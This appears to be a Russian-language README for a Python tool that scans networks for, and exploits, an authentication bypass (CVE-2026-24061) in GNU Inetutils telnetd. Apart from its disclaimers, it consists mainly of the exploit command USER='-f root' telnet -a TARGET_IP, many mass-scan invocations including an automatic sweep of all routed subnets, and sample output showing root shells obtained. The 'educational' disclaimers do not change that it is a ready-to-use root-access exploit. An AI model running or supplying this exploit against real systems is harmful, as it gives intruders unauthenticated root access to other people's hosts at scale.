
Python-сканер, который обнаруживает и эксплуатирует обход аутентификации telnetd CVE-2026-24061, обеспечивая доступ к root-оболочке на уязвимых службах GNU Inetutils.
Python-сканер для обнаружения и эксплуатации уязвимости CVE-2026-24061 в сервисах telnetd GNU Inetutils. Этот инструмент сканирует IP-адреса или сети на наличие уязвимых сервисов telnetd, которые позволяют обойти аутентификацию и получить доступ к root-оболочке.
ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ ИСКЛЮЧИТЕЛЬНО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ.
Данное приложение разработано исключительно в образовательных целях для демонстрации уязвимостей безопасности и оказания помощи в авторизованном тестировании безопасности и исследованиях.
ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ, ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ И НЕНАРУШЕНИЯ ПРАВ. АВТОРЫ И УЧАСТНИКИ НЕ ГАРАНТИРУЮТ, ЧТО ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ БУДЕТ БЕЗОШИБОЧНЫМ, БЕЗОПАСНЫМ ИЛИ ФУНКЦИОНАЛЬНЫМ. Программное обеспечение может содержать ошибки, дефекты или другие недостатки.
ВСЯ ОТВЕТСТВЕННОСТЬ ЗА ИСПОЛЬЗОВАНИЕ ДАННОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ ЛЕЖИТ ПОЛНОСТЬЮ НА ПОЛЬЗОВАТЕЛЕ. Авторы, участники и распространители данного программного обеспечения не несут ответственности за любой ущерб, потери или юридические последствия, возникшие в результате использования, неправильного использования или невозможности использования данного программного обеспечения.
Данный инструмент должен использоваться ТОЛЬКО на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам является незаконным и может привести к уголовному преследованию.
Авторы НЕ гарантируют:
Используя данное программное обеспечение, вы подтверждаете, что прочитали, поняли и согласны соблюдать эти условия. Если вы не согласны, не используйте данное программное обеспечение.
Разработано: Cuma KURT
Электронная почта: [email protected]
LinkedIn: https://www.linkedin.com/in/cuma-kurt-34414917/
CVE-2026-24061: telnetd GNU Inetutils до версии 2.7 включительно позволяет удалённый обход аутентификации через значение -f root для переменной окружения USER.
Оценка CVSS: 9.8 (Критическая)
Ссылка: NVD CVE-2026-24061
telnet (обычно предустановлен в Linux/macOS)pip3 install -r requirements.txt
Примечание: Большинство зависимостей входят в стандартную библиотеку Python. Инструмент работает из коробки с Python 3.6+.
# Сканирование одного IP-адреса
python3 tscan.py 192.168.1.1
# Сканирование CIDR-сети
python3 tscan.py 192.168.1.0/24
# Сканирование с нестандартным портом
python3 tscan.py -p 2323 192.168.1.1
# Сканирование целей из файла
python3 tscan.py targets.txt
# Сканирование нескольких IP-адресов
python3 tscan.py 192.168.1.1 10.0.0.1 172.16.0.1
# Сканирование нескольких CIDR-сетей
python3 tscan.py 192.168.1.0/24 10.0.0.0/16
# Увеличение количества потоков для более быстрого сканирования (100 потоков)
python3 tscan.py -t 100 192.168.1.0/24
# Увеличение таймаута для медленных сетей
python3 tscan.py --timeout 10 192.168.1.0/24
# Комбинация обоих параметров для сканирования больших сетей
python3 tscan.py -t 200 --timeout 8 10.0.0.0/16
# Автоматическое обнаружение и сканирование всех подсетей из таблицы маршрутизации системы
python3 tscan.py --auto
# или сокращённая форма:
python3 tscan.py -a
# Автоопределение с нестандартным портом
python3 tscan.py --auto -p 2323
# или:
python3 tscan.py -a -p 2323
# Автоопределение с большим количеством потоков
python3 tscan.py --auto -t 200
# или:
python3 tscan.py -a -t 200
Примечание: Режим --auto считывает таблицу маршрутизации системы с помощью команды ip route list или route -n и автоматически сканирует все обнаруженные подсети.
# Пример 1: Быстрое сканирование локальной сети
python3 tscan.py 192.168.1.0/24
# Пример 2: Быстрое сканирование с высокой степенью параллелизма
python3 tscan.py -t 300 --timeout 3 10.0.0.0/16
# Пример 3: Сканирование нестандартного telnet-порта
python3 tscan.py -p 2323 192.168.1.0/24
# Пример 4: Автоопределение и сканирование всех подсетей локальной сети
python3 tscan.py --auto
# или:
python3 tscan.py -a
# Пример 5: Автоопределение с пользовательскими настройками
python3 tscan.py --auto -p 2323 -t 100 --timeout 8
# или:
python3 tscan.py -a -p 2323 -t 100 --timeout 8
positional arguments:
targets IP-адрес(а), CIDR-сеть(и) или путь(и) к файлу(ам), содержащим цели
options:
-h, --help показать это справочное сообщение и выйти
-p, --port PORT Telnet-порт для сканирования (по умолчанию: 23)
-t, --threads THREADS Количество параллельных потоков (по умолчанию: 50)
--timeout TIMEOUT Таймаут подключения в секундах (по умолчанию: 5)
-v, --verbose Подробный вывод
-a, --auto Автоматически обнаруживать и сканировать все подсети из таблицы маршрутизации системы (route -n или ip route list)
Создайте текстовый файл с одной целью в каждой строке:
192.168.1.1
192.168.1.0/24
10.0.0.1
172.16.0.0/16
Строки, начинающиеся с #, считаются комментариями и игнорируются.
Инструмент предоставляет:
Прогресс в реальном времени: Показывает результаты по мере их обнаружения
[!] - Уязвимый хост[~] - Порт открыт, но не уязвимСводный отчёт: Включает:
[*] Начало сканирования 256 целевых объектов...
[*] Порт: 23, Потоки: 50, Таймаут: 5с
[*] Прогресс: [████████████████░░░░░░░░░░░░░░░░░░░░] 40.0% (102/256) | Открыто: 2 | Уязвимо: 1
[!] 192.168.1.100:23 - УЯЗВИМ
[*] Прогресс: [████████████████████████████████████] 100.0% (256/256) | Открыто: 3 | Уязвимо: 1
[+] Сканирование завершено: просканировано 256/256 целей
======================================================================
Сводка результатов сканирования
======================================================================
Найдено telnet-сервисов: 3
Уязвимых хостов: 1
[!] УЯЗВИМЫЕ ХОСТЫ:
● 192.168.1.100:23
Вывод: uid=0(root) gid=0(root) groups=0(root)...
[~] Найдены telnet-сервисы, но не уязвимые:
● 192.168.1.101:23
● 192.168.1.102:23
[*] Сканирование завершено за 12.34 секунды
USER="-f root"telnet -aУязвимость позволяет обойти аутентификацию путём установки переменной окружения USER в значение -f root:
USER="-f root" telnet -a TARGET_IP [PORT]
Это заставляет telnetd интерпретировать переменную USER как флаг, обходя аутентификацию и предоставляя root-доступ.
telnetip route list или route -nУстановите telnet-клиент:
# Debian/Ubuntu
sudo apt-get install telnet
# CentOS/RHEL
sudo yum install telnet
# macOS
# Обычно предустановлен
--timeout 10Данный инструмент предназначен для:
НЕ используйте этот инструмент для:
Эта программа является свободным программным обеспечением: вы можете распространять и/или изменять её в соответствии с условиями Стандартной общественной лицензии GNU, опубликованной Фондом свободного программного обеспечения, либо версии 3 Лицензии, либо (по вашему выбору) любой более поздней версии.
Эта программа распространяется в надежде, что она будет полезной, но БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ; даже без подразумеваемых гарантий ТОВАРНОЙ ПРИГОДНОСТИ или ПРИГОДНОСТИ ДЛЯ КОНКРЕТНОЙ ЦЕЛИ. Подробнее см. Стандартную общественную лицензию GNU.
Вы должны были получить копию Стандартной общественной лицензии GNU вместе с этой программой. Если нет, см. https://www.gnu.org/licenses/.
См. файл LICENSE для получения полного текста Стандартной общественной лицензии GNU v3.0.
АВТОРЫ И УЧАСТНИКИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБОЕ НЕПРАВИЛЬНОЕ ИСПОЛЬЗОВАНИЕ ИЛИ УЩЕРБ, ПРИЧИНЁННЫЙ ДАННЫМ ИНСТРУМЕНТОМ.
Данный инструмент предоставляется ИСКЛЮЧИТЕЛЬНО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ.
ИСПОЛЬЗУЙТЕ НА СВОЙ СТРАХ И РИСК. Вся ответственность за использование данного программного обеспечения лежит полностью на пользователе. Авторы не гарантируют точность, безопасность или функциональность данного программного обеспечения. Программное обеспечение предоставляется «КАК ЕСТЬ» без каких-либо гарантий любого рода.
Данное приложение разработано исключительно в образовательных целях. Используя данное программное обеспечение, вы подтверждаете, что:
Если вы не согласны с этими условиями, НЕ ИСПОЛЬЗУЙТЕ ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ.